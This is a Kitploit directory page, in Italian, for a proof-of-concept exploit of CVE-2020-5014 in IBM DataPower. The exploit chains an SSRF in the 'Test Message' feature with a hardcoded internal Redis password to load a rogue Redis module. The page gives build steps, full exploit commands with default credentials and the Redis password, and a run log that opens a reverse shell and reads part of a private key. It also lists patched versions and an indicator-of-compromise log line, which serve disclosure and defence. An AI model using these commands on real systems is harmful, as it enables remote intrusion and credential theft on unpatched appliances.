Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
datapower-redis-rce-exploit — Una POC per l'exploit di RCE Redis autenticato su IBM Datapower che abusa della funzione Test Message (CVE-2020-5014) | Kitploit
Strumenti/GitHubGitHub/copethomas/datapower-redis-rce-exploit
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

Una POC per l'exploit di RCE Redis autenticato su IBM Datapower che abusa della funzione Test Message (CVE-2020-5014)

Vedi RepositorySito web
2264 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

datapower-redis-rce-exploit (CVE-2020-5014)

Una POC per l'exploit RCE Redis autenticato di IBM DataPower che abusa della funzione "Test Message".

poc_demo

Spiegazione completa e demo su Youtube

Articolo del blog su tomcope.com

Spiegazione

Utilizzando la funzione "Send a Test Message" di DataPower disponibile tramite una sessione autenticata alla WebGUI di DataPower, è possibile eseguire un attacco SSRF contro il server Redis interno di DataPower. Il server Redis interno è protetto da password, ma sembra utilizzare una password hardcoded. Questo può quindi essere combinato con una vulnerabilità Redis RCE preesistente per eseguire codice arbitrario come utente drouter all'interno del sistema operativo Linux sottostante di DataPower.

Avvio rapido

  1. Clona questo repository
  2. Compila il modulo:
    • cd RedisModulesSDK/dpredisshell/
    • make
  3. Compila il codice Golang
    • go build
  4. Controlla i flag
    • ./datapower-redis-rce-exploit -h
  5. Esegui l'exploit
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8

Esempio

Di seguito un esempio pratico che esegue DataPower tramite Docker e l'exploit localmente via localhost:

  1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
  2. Accedi a DataPower con nome utente admin e password admin
  3. Configura con la WebGUI:
idg# config
Global mode
idg(config)# web-mgmt
Modify Web Management Service configuration

idg(config web-mgmt)# admin-state enabled
idg(config web-mgmt)# exit
idg(config)# write mem
Overwrite previously saved configuration? Yes/No [y/n]: y
Configuration saved successfully.
idg(config)# exit
idg# 
  1. Verifica che la WebUI sia attiva:
idg# show web-mgmt

web-mgmt [up] 
--------
 admin-state enabled 
 ip-address 0.0.0.0 
 port 9090 
 save-config-overwrite on 
 idle-timeout 600 Seconds
 acl web-mgmt  [up]
 ssl-config-type server 
 enable-sts on 

idg# 
  1. Apri una nuova finestra di terminale
  2. Clona questo repository
    • git clone https://github.com/copethomas/datapower-redis-rce-exploit
  3. Compila il modulo:
    • cd RedisModulesSDK/dpredisshell/
    • make
  4. Compila il codice Golang
    • cd ../../
    • go build
  5. Carica la password Redis interna nella tua shell. (Leggi la Spiegazione per maggiori dettagli)
$ read DPREDISPASSWD
apples
$ echo $DPREDISPASSWD
apples
  1. Esegui l'exploit:
$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
FakeRedis - 2020/10/18 23:34:29 Online and Ready!
Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
Main      - 2020/10/18 23:34:29 Datapower Login Complete!
Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Accepting connection...
FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Uploading module...
FakeRedis - 2020/10/18 23:34:29 Upload Complete!
Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
Main      - 2020/10/18 23:34:29 Performing clean up...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
FakeRedis - 2020/10/18 23:34:29 Connection Closed
Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:30 Accepting connection...
Main      - 2020/10/18 23:34:30 Got Reverse Shell!
Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
id
uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
drouter       63      61  0 22:34 pts/0    00:00:00 
find / -name webgui-privkey.pem 2>/dev/null
/opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

IOCs

Durante l'exploit, DataPower registrerà più errori url-open con l'url Redis interno. Ciò è dovuto al fatto che Redis non risponde nel formato XML atteso da DataPower.

18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'

Correzione / Patch

Corretto nelle versioni 10.0.1.2 e 2018.4.1.15

  • https://www.ibm.com/support/pages/node/6426789
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

Link e Ringraziamenti

Scarica lo strumento